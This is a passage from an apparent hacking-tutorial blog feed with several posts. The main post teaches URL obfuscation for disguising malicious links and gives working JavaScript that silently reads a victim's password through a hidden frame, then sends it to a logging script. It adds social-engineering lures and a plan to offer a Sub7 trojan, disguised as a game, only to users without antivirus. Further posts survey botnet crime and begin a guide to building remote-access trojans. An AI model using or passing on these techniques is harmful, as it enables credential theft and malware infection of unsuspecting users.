title="http://microsoft.com/site/dir/helpdesk.asp@3639550308%2F%61%2E%63%67%69%3F"&gt;http://microsoft.com/site/dir/helpdesk.asp@3639550308%2F%61%2E%63%67%69%3F&lt;/a&gt; [insert nasty javascript url encoded here] &lt;br /&gt;now that does not look like &lt;a _fcksavedurl="http://site.com/a.cgi" href="http://site.com/a.cgi" title="http://site.com/a.cgi"&gt;http://site.com/a.cgi&lt;/a&gt;? nasty javascript &lt;br /&gt;which  would be very clear for users to tell what it is doing. Lets go  over  the steps one more time, just to be sure you got it. First make up  any  site name (doesn't have to be valid url) &lt;br /&gt;&lt;a _fcksavedurl="http://aol.com/scripts/userid.jsp" href="http://aol.com/scripts/userid.jsp" title="http://aol.com/scripts/userid.jsp"&gt;http://aol.com/scripts/userid.jsp&lt;/a&gt;? &lt;br /&gt;Add a @ to the end &lt;br /&gt;&lt;a _fcksavedurl="http://aol.com/scripts/userid.jsp?@governmentsecurity.org" href="http://aol.com/scripts/userid.jsp?@governmentsecurity.org" title="http://aol.com/scripts/userid.jsp?@"&gt;http://aol.com/scripts/userid.jsp?@&lt;/a&gt; &lt;br /&gt;Then the ip address of the host in decimal form &lt;br /&gt;&lt;a _fcksavedurl="http://aol.com/scripts/userid.jsp?@3639550308" href="http://aol.com/scripts/userid.jsp?@3639550308" title="http://aol.com/scripts/userid.jsp?@3639550308"&gt;http://aol.com/scripts/userid.jsp?@3639550308&lt;/a&gt; &lt;br /&gt;then the rest of the path in urlencoding. &lt;br /&gt;&lt;a _fcksavedurl="http://microsoft.com/site/dir/helpdesk.asp@3639550308%2F%61%2E%63%67%69%3F" href="http://microsoft.com/site/dir/helpdesk.asp@3639550308%2F%61%2E%63%67%69%3F" title="http://microsoft.com/site/dir/helpdesk.asp@3639550308%2F%61%2E%63%67%69%3F"&gt;http://microsoft.com/site/dir/helpdesk.asp@3639550308%2F%61%2E%63%67%69%3F&lt;/a&gt; &lt;br /&gt;Also url encode the javascript and put it at the end. This is just one method of obscuring the url, there are others.&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;&lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="1" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt;&lt;/h5&gt;Ok,  this method will not be used very often, and isn't too valuable a  skill  to the average hacker.. But it can come in very handy.&amp;nbsp; This was   originally a news post on my site, but it fits into this tutorial   nicely.&amp;nbsp; I know that this part might be very poorly explained and many   people won't understand how it works.&amp;nbsp; But I have tried to atleast make   it so people with advanced javascript knowledge can make some sense of   how the attack works.&amp;nbsp; Also note that this attack is purely theory, I   have not used this against an actual site yet.&amp;nbsp; It might even be used   against sites which require you to fill in a form to login, this means   hotmail, yahoo, and 100,000,000 other sites, but it would require extra   coding, some of which I am not sure if it is possible.&lt;br /&gt;Ok, in this article I will explain how to steal info from users by using javascript. &lt;br /&gt;What this exploit requires is: A script that prints info you want into an input field.&amp;nbsp; &lt;br /&gt;The script doesn't check the referrer. &lt;br /&gt;The  most used reason for this would be to get usernames and passwords  from  sites.&amp;nbsp; An example of this would be cyberarmy.com which was  vulnerable  to this for along time.&amp;nbsp; You will notice that if we did have  the user's  cookie that we could have simply viewed this page and  gotten their  password, but cyberarmy was pretty secure in not printing  unescaped data  to the user's browser. &lt;br /&gt;Now we will be doing this: &lt;br /&gt;1 main page with 2 frames. &lt;br /&gt;frame #1 - will look like a normal page and will steal the info from frame #2. &lt;br /&gt;frame #2 - will load the page in a hidden frame. &lt;br /&gt;this is what the main page will look like: &lt;br /&gt;-------- begin -------- &lt;br /&gt;&amp;lt;html&amp;gt; &lt;br /&gt;&amp;lt;script language="JavaScript"&amp;gt;&amp;lt;!-- &lt;br /&gt;document.write('&amp;lt;frameset cols="10%,*" frameborder="yes" framespacing="0" border="3"&amp;gt;'); &lt;br /&gt;//for  the example we are using cols="10%.*" but in a real life attack  you  would use cols="0px,*" or something, as to hide the frame that is   stealing the form value. &lt;br /&gt;document.write('&amp;lt;frame src="fuckca.html" scrolling="no" noresize name=blah&amp;gt;'); &lt;br /&gt;document.write('&amp;lt;frame src="userconfig.html" scrolling="auto" noresize name=vulnscript&amp;gt;'); &lt;br /&gt;document.write('&amp;lt;\/frameset&amp;gt;'); &lt;br /&gt;//You  might be wondering why I used javascript to print the   &amp;lt;frameset&amp;gt;.&amp;nbsp; This was done so we can print more javascript on the   page.&amp;nbsp; (the javascript that steals the form value. &lt;br /&gt;printhtml(0); &lt;br /&gt;function printhtml(counter){ &lt;br /&gt;if (counter == 0) { &lt;br /&gt;var the_timeout = setTimeout("printhtml(1);",11000); &lt;br /&gt;counter++; &lt;br /&gt;} &lt;br /&gt;var thehtml = window.vulnscript.document.all.tags('HTML')[0].innerHTML; &lt;br /&gt;window.vulnscript.document.open("text/html"); &lt;br /&gt;window.vulnscript.document.writeln(thehtml.substring(0,thehtml.indexOf('RAID&amp;lt;/A&amp;gt;')+8)); &lt;br /&gt;window.vulnscript.document.writeln('--&amp;gt;&amp;lt;script language="javascript"&amp;gt;'); &lt;br /&gt;window.vulnscript.document.writeln('location.replace(&lt;a _fcksavedurl="http://www.cyberarmy.com/zebulun/userconfig.pl" href="http://www.cyberarmy.com/zebulun/userconfig.pl" title="http://www.cyberarmy.com/zebulun/userconfig.pl"&gt;http://www.cyberarmy.com/zebulun/userconfig.pl&lt;/a&gt;);'); &lt;br /&gt;window.vulnscript.document.writeln('&amp;lt;\/script&amp;gt;&amp;lt;!--'); &lt;br /&gt;window.vulnscript.document.writeln(thehtml.substring(thehtml.indexOf('&amp;lt;TABLE   border=0 cellPadding=0 cellSpacing=3 width=90%&amp;gt;')-1,   thehtml.indexOf('&amp;lt;/html&amp;gt;')+7)); &lt;br /&gt;window.vulnscript.document.close(); &lt;br /&gt;} &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;&amp;lt;/html&amp;gt; &lt;br /&gt;-------- end -------- &lt;br /&gt;of  course in real use the size of the cols would be set so frame #2   (vulnscript) would be 0%.. So that the user wouldn't even know what is   happening. &lt;br /&gt;Now this is what the fuckca.html is: &lt;br /&gt;-------- begin -------- &lt;br /&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt; &lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt; &lt;br /&gt;&amp;lt;!-- &lt;br /&gt;var name1 = parent.vulnscript.document.forms[0].pass1.value; &lt;br /&gt;parent.blah.document.write(name1); &lt;br /&gt;//--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt; &lt;br /&gt;-------- end -------- &lt;br /&gt;all  this does is print out the value of the first (unnamed) form from  the  frame named vulnscript (the one that has the page where we want to  steal  data from). &lt;br /&gt;This is what their userconfig.pl displayed that we were grabbing: &lt;br /&gt;Password : &amp;lt;INPUT TYPE="password" SIZE=45 NAME="pass1" MAXLENGTH=16 value="testpass"&amp;gt; &lt;br /&gt;The  problem is that it would display the password in plain text   (value="testpass" - testpass is the password) why it did this I don't   know, stupid programming I guess.&amp;nbsp; But if you got a hold of someone's   cookie you could view that script and it would give you the pass.. So   what this little trick with frames and javascript does is make users   visit the page without knowing and then lets our javascript grab their   password.&amp;nbsp; Instead of printing the password to frame #1 (name=blah) we   could have sent an invisible frame to a script which logs input.&amp;nbsp;   Example: &lt;br /&gt;instead of &lt;br /&gt;parent.blah.document.write(name1); &lt;br /&gt;have &lt;br /&gt;parent.vulnscript.location.replace(log.cgi?name1); &lt;br /&gt;I  would then tell a few people who I want passwords from about this  page,  say "hey, want to see a picture of my girlfriend?" (All hackX0r  guys  like pics of girls)&amp;nbsp; then I would just put up some stupid pic..  Maybe  Britney Spears or something. The log.cgi would log both name1  (their  password) and $ENV{'REMOTE_ADDR'} (their ip address).&amp;nbsp; This  would let me  match up usernames to passwords fairly easy.&amp;nbsp; You could  also get their  username from grabbing it off the page, or from the  contents of the  cookie. &lt;br /&gt;This attack is fairly complicated, so I didn't explain why I  did a few  things. I figure anyone who could actually pull this off  would  understand why.&amp;nbsp; Also not many sites are vuln to this, and even  the  ones that are usually the attacker does not have the ability to hop  on  the irc channel and trick people into viewing it.&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;&lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="0" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt;&lt;/h5&gt;Ok,  this is probably the least likely technique in this tutorial to  be  used.&amp;nbsp; All the rest can be used fairly often.&amp;nbsp; This one is used to  gain  enough info on someone in order to form a trojan attack on them.&amp;nbsp;  What  this javascript will allow us to do is to probe their system and  see if  they have any security against our attack.&amp;nbsp; It will let us see  what  anti-virus program they use, what firewall they use, and if they  have  any programs that allow us to infect them with macros.&lt;br /&gt;This was originally a bugtraq post: ( &lt;a _fcksavedurl="http://www.securityfocus.com/archive/1/224673" href="http://www.securityfocus.com/archive/1/224673"&gt;http://www.securityfocus.com/archive/1/224673 &lt;/a&gt;) with a link to the example at &lt;a _fcksavedurl="http://geocities.com/dzzie/sys_snoop1.html" href="http://geocities.com/dzzie/sys_snoop1.html"&gt;http://geocities.com/dzzie/sys_snoop1.html &lt;/a&gt;but   we are going to probe for more security related programs. (put a probe   for anti-virus programs, firewalls, word, adobe acrobat [pdf]) &lt;br /&gt;Lets  say we check for anti-virus programs, if they don't have any you  can  display a link to download sub7 and say it is a video game... if  they do  have an anti-virus program you can display the link to the real  game.&amp;nbsp;  This way you don't have to worry about the user finding out  that you  tried to send them a trojan.&amp;nbsp; Only users who don't have an  anti-virus  program will have downloaded the trojan. &lt;br /&gt;One possible future for  trojan's is modules that you can insert to  attack specific programs.&amp;nbsp;  For instance if you know the user is running  a certain type of  anti-virus program and they are running a certain  type of firewall you  can plug those modules into the trojan.&amp;nbsp; When the  user downloads and  runs this trojan the modules will trojan those  anti-virus and firewall  making them seem as if they are running fine,  when they aren't.&amp;nbsp; Ether  they won't detect your trojan or they will  replace them with a emtpy  program that just puts the icons in the  taskbar and task list.&amp;nbsp; I will  try to get a working deminstration of  how javascript can be used to  download the correct trojan for a user's  system or detect if the trojan  will be detected by an anti-virus  program so it will make them download a  regular file. &lt;br /&gt;If you have a firewall or anti-virus program please  send me the full  address (absolute address) to all the images it has.&amp;nbsp;  email th&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5543184233446097251-4623105505069042765?l=hack2learn.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hack2learn.blogspot.com/feeds/4623105505069042765/comments/default' title='Objavi komentare'/><link rel='replies' type='text/html' href='http://hack2learn.blogspot.com/2011/04/hacking-with-javascript.html#comment-form' title='0 komentara'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/4623105505069042765'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/4623105505069042765'/><link rel='alternate' type='text/html' href='http://hack2learn.blogspot.com/2011/04/hacking-with-javascript.html' title='Hacking With Javascript'/><author><name>Yazlla91</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://1.bp.blogspot.com/-7d8SoxFJWUQ/TZ63LdCH2kI/AAAAAAAAABo/IyeH6lbyVPA/s220/how-to-hack-a-computer.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5543184233446097251.post-3633715901015768296</id><published>2011-04-08T00:08:00.003-07:00</published><updated>2011-04-08T00:08:53.489-07:00</updated><title type='text'>BOTNET</title><content type='html'>botnet or robot network is a group of computers running a &lt;a _fcksavedurl="http://www.tech-faq.com/botnet.html#" class="itxtrst itxtrsta itxthook" href="http://www.tech-faq.com/botnet.html#" id="itxthook0" rel="nofollow" style="background-color: transparent; border-bottom: 1px dotted rgb(149, 24, 28); border-top: medium none; color: #95181c; text-decoration: none;"&gt;&lt;nobr class="itxtrst itxtrstnobr itxthooknobr" id="itxthook0w0nobr" style="color: #95181c;"&gt;&lt;span class="itxtrst itxtrstspan itxthookspan" id="itxthook0w0" style="background: none repeat scroll 0% 0% transparent; font-size: inherit; font-weight: inherit;"&gt;computer&lt;/span&gt;&lt;img _fcksavedurl="http://images.intellitxt.com/ast/adTypes/mag-glass_10x10.gif" alt="" class="itxtrst itxtrstimg itxthookicon" id="itxthook0icon" src="http://images.intellitxt.com/ast/adTypes/mag-glass_10x10.gif" /&gt;&lt;/nobr&gt;&lt;/a&gt;   application controlled and manipulated only by the owner or the   software source.  The botnet may refer to a legitimate network of   several computers that share program processing amongst them. &lt;br /&gt;Usually though, when people talk about botnets, they are talking about a group of &lt;a _fcksavedurl="http://www.tech-faq.com/botnet.html#" class="itxtrst itxtrsta itxthook" href="http://www.tech-faq.com/botnet.html#" id="itxthook1" rel="nofollow" style="background-color: transparent; border-bottom: 1px dotted rgb(149, 24, 28); border-top: medium none; color: #95181c; text-decoration: none;"&gt;&lt;nobr class="itxtrst itxtrstnobr itxthooknobr" id="itxthook1w0nobr" style="color: #95181c;"&gt;&lt;span class="itxtrst itxtrstspan itxthookspan" id="itxthook1w0" style="background: none repeat scroll 0% 0% transparent; font-size: inherit; font-weight: inherit;"&gt;computers&lt;/span&gt;&lt;img _fcksavedurl="http://images.intellitxt.com/ast/adTypes/mag-glass_10x10.gif" alt="" class="itxtrst itxtrstimg itxthookicon" id="itxthook1icon" src="http://images.intellitxt.com/ast/adTypes/mag-glass_10x10.gif" /&gt;&lt;/nobr&gt;&lt;/a&gt;   infected with the malicious kind of robot software, the bots, which   present a security threat to the computer owner.  Once the robot   software (also known as malicious software or malware) has been   successfully installed in a computer, this computer becomes a zombie or a   drone, unable to resist the commands of the bot commander.&lt;br /&gt;A botnet may be small or large depending on the complexity and   sophistication of the bots   used.  A large botnet may be composed of   ten thousand individual zombies.  A small botnet, on the other hand may   be composed of only a thousand drones.  Usually, the owners of the   zombie computers do not know that their computers and their computers’   resources are being remotely controlled and exploited by an individual   or a group of malware runners through Internet &lt;a _fcksavedurl="http://www.tech-faq.com/relay.html" href="http://www.tech-faq.com/relay.html"&gt;Relay&lt;/a&gt; &lt;a _fcksavedurl="http://www.tech-faq.com/chat" href="http://www.tech-faq.com/chat"&gt;Chat&lt;/a&gt; (IRC)&lt;br /&gt;There are various types of malicious bots that have already infected   and are continuing to infect the internet.  Some bots have their own   spreaders – the script that lets them infect other computers (this is   the reason why some people dub botnets as computer viruses) – while some   smaller types of bots do not have such capabilities.&lt;br /&gt;&lt;h2&gt;Different Types of Bots&lt;/h2&gt;Here is a list of the most used bots in the internet today, their features and command set.&lt;br /&gt;&lt;h3&gt;XtremBot, Agobot, Forbot, Phatbot&lt;/h3&gt;These are currently the best known bots with more than 500 versions   in the internet today.  The bot is written using C++ with cross platform   capabilities as a compiler and GPL as the source code.  These bots can   range from the fairly simple to highly abstract module-based designs.    Because of its modular approach, adding commands or scanners to  increase  its efficiency in taking advantage of vulnerabilities is  fairly easy.   It can use libpcap packet sniffing library, NTFS ADS and  PCRE.  Agobot  is quite distinct in that it is the only bot that makes  use of other  control protocols besides IRC.&lt;br /&gt;&lt;h3&gt;UrXBot, SDBot, UrBot and RBot&lt;/h3&gt;Like the previous type of bot, these bots are published under GPL,   but unlike the above mentioned bots these bots are less abstract in   design and written in rudimentary C compiler language.  Although its   implementation is less varied and its design less sohisticated, these   type of bots are well known and widely used in the internet.&lt;br /&gt;&lt;h3&gt;GT-Bots and mIRC based bots&lt;/h3&gt;These bots have many versions in the internet mainly because mIRC is   one of the most used IRC client for windows.  GT stands for global   threat and is the common name for bots scripted using mIRC.  GT-bots   make use of the mIRC chat client to launch a set of binaries (mainly   DLLs) and scripts; their scripts often have the file extensions .mrc.&lt;br /&gt;&lt;h2&gt;Malicious Uses of Botnets&lt;/h2&gt;A botnet can have a lot of malicious applications.  Among the most popular uses of botnets are the following:&lt;br /&gt;&lt;h3&gt;Denial of Service Attacks&lt;/h3&gt;A botnet can be used as a distributed denial of service weapon.  A   botnet attacks a network or a computer system for the purpose of   disrupting service through the loss of connectivity or consumption of   the victim network’s bandwidth and overloading of the resources of the   victim’s computer system.  Botnet attacks are also used to damage or   take down a competitor’s website.&lt;br /&gt;Any Internet service can be a target by botnets.  This can be done   through flooding the website   with recursive HTTP or bulletin-board   search queries.  This mode of attack in which higher level protocols are   utilized to increase the effects of an attack is also termed as   spidering.&lt;br /&gt;&lt;h3&gt;Spamming and Traffic Monitoring&lt;/h3&gt;A botnet can also be used to take advantage of an infected computer’s &lt;a _fcksavedurl="http://www.tech-faq.com/tcp.html" href="http://www.tech-faq.com/tcp.html"&gt;TCP&lt;/a&gt;/IP’s   SOCKS proxy protocol for networking appications.  After compromising a   computer, the botnet commander can use the infected unit (a zombie) in   conjunction with other zombies in his botnet (robot network) to  harvest  email addresses or to send massive amounts of spam or phishing  mails.&lt;br /&gt;Moreover, a bot can also function as a packet sniffer to find and   intercept sensitive data passing through an infected machine.  Typical   data that these bots look out for are usernames and passwords which the   botnet commander can use for his personal gain.  Data about a  competitor  botnet installed in the same unit is also mined so the  botnet commander  can hijack this other botnet.&lt;br /&gt;&lt;h3&gt;Keylogging and Mass Identity Theft&lt;/h3&gt;An encryption software within the victims’ units can deter most bots   from harvesting any real information.  Unfortunately, some bots have   adapted to this by installing a keylogger program in the infected   machines.  With a keylogger program, the bot owner can use a filtering   program to gather only the key sequence typed before or after   interesting keywords like PayPal or Yahoo mail.  This is one of the   reasons behind the massive PayPal accounts theft for the past several   years.&lt;br /&gt;Bots can also be used as agents for mass identity theft.  It does   this through phishing or pretending to be a legitimate company in order   to convince the user to submit personal information and passwords.  A   link in these phishing mails can also lead to fake PayPal, &lt;a _fcksavedurl="http://monsterguide.net/how-to-sell-on-ebay" href="http://monsterguide.net/how-to-sell-on-ebay"&gt;eBay&lt;/a&gt; or other websites to trick the user into typing in the username and password.&lt;br /&gt;&lt;h3&gt;Botnet Spread&lt;/h3&gt;Botnets can also be used to spread other botnets in the network.  It   does this by convincing the user to download after which the program is   executed through &lt;a _fcksavedurl="http://www.tech-faq.com/ftp.html" href="http://www.tech-faq.com/ftp.html"&gt;FTP&lt;/a&gt;, HTTP or email.&lt;br /&gt;&lt;h3&gt;Pay-Per-Click Systems Abuse&lt;/h3&gt;Botnets can be used for financial gain by automating clicks on a   pay-per-click system.  Compromised units can be used to click   automatically on a site upon activation of a browser.  For this reason,   botnets are also used to earn money from Google’s Adsense and other   affiliate programs by using zombies to artificially increase the click   counter of an advertisement.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5543184233446097251-3633715901015768296?l=hack2learn.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hack2learn.blogspot.com/feeds/3633715901015768296/comments/default' title='Objavi komentare'/><link rel='replies' type='text/html' href='http://hack2learn.blogspot.com/2011/04/botnet.html#comment-form' title='0 komentara'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/3633715901015768296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/3633715901015768296'/><link rel='alternate' type='text/html' href='http://hack2learn.blogspot.com/2011/04/botnet.html' title='BOTNET'/><author><name>Yazlla91</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://1.bp.blogspot.com/-7d8SoxFJWUQ/TZ63LdCH2kI/AAAAAAAAABo/IyeH6lbyVPA/s220/how-to-hack-a-computer.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5543184233446097251.post-2821452143946954689</id><published>2011-04-08T00:08:00.001-07:00</published><updated>2011-04-08T00:08:29.712-07:00</updated><title type='text'>RAT</title><content type='html'>&lt;h3 class="post-title entry-title"&gt; The RAT (Remote Administration Tool) &lt;/h3&gt;&lt;div class="post-header"&gt;  &lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;In    this post we will learn how to create Remote Administration  Tool(RAT).  But before we proceed let's discus some basic terminologies.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;u&gt;&lt;b&gt;Trojan:&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt; Trojan horse or Trojan is a malware that appears to perform a desirable function for the user prior to run or &lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="7" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt; but instead facilitates unauthorized access of the user's computer system. It is harmful software/&lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="6" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt;   that appears legitimate. They come packed with some other piece of  code  or software and hence users get tricked to run them. The term  Trojan  has been derived from &lt;span class="IL_AD" id="IL_AD12"&gt;the Trojan&lt;/span&gt; Horse from Greek Mythology.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;&lt;u&gt;&lt;b&gt;Types Of Trojan:&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;1.Remote Access Tool (RAT)&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;2.Proxy&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;3.File Sending Trojan&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;4.Security Disable rs&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;5.Denial Of Service (DOS)&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;6.File Sending Trojans(FTP Trojan)&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;7.Destructive Trojans&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;u&gt;&lt;b&gt;Remote Access Tool&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;u&gt;(&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;u&gt;&lt;b&gt;RAT&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;u&gt;)&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;u&gt;&lt;b&gt;:&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;   Remote Administration Tool also known as RAT is used to remotely   connect and manage single or multiple computers. RAT is one of the most   dangerous Trojan because it compromises features of all types of   Trojans. It provides an attacker with nearly unlimited access to host   computer along with Screen Capture, File &lt;span class="IL_AD" id="IL_AD6"&gt;management&lt;/span&gt;, shell control and device &lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="5" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt;   control. RATs uses reverse connections to connect remote system and   hence are more likely to remain undetected. They can hide themselves in   process space of legitimate program and hence never appear in task   manager or system monitors.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;A Trojan generally has two parts Client and Server or Master and Slave. We can say Server is Slave and Client is Master. So a &lt;span class="IL_AD" id="IL_AD9"&gt;server side&lt;/span&gt; is &lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="4" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt; on a remote host and the attacker manipulates it with client software. In olden days making a Trojan was &lt;span class="IL_AD" id="IL_AD3"&gt;a job&lt;/span&gt;   of master programmer but now a days several Trojan building tools are   available. Most of them usually have same kinda interface so its quite   easy to use any Trojan client once you have used any one of them .   Following is list of some well known Trojans and Trojan Building Tools,&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;1.Casa RAT&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;2.Back Orifice&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;3.Bandook RAT&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;4.Dark Comet Rat&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;5.Cerberus&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;6.Cybergate&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;7.Blackshades&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;8.&lt;span class="IL_AD" id="IL_AD1"&gt;Poison Ivy&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;9.&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: 'Times New Roman',serif;"&gt;&lt;span style="font-style: normal;"&gt;&lt;span style="font-weight: normal;"&gt;Schwarze Sonne RAT&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="font-style: normal; font-weight: normal; margin-bottom: 0in;"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;10.Syndrome RAT&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="font-style: normal; font-weight: normal; margin-bottom: 0in;"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;11.Team Viewer&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="font-style: normal; font-weight: normal; margin-bottom: 0in;"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;12.Y3k RAT&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="font-style: normal; font-weight: normal; margin-bottom: 0in;"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: medium;"&gt;13Snoopy&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="font-style: normal; font-weight: normal; margin-bottom: 0in;"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: 'Times New Roman',serif; font-size: 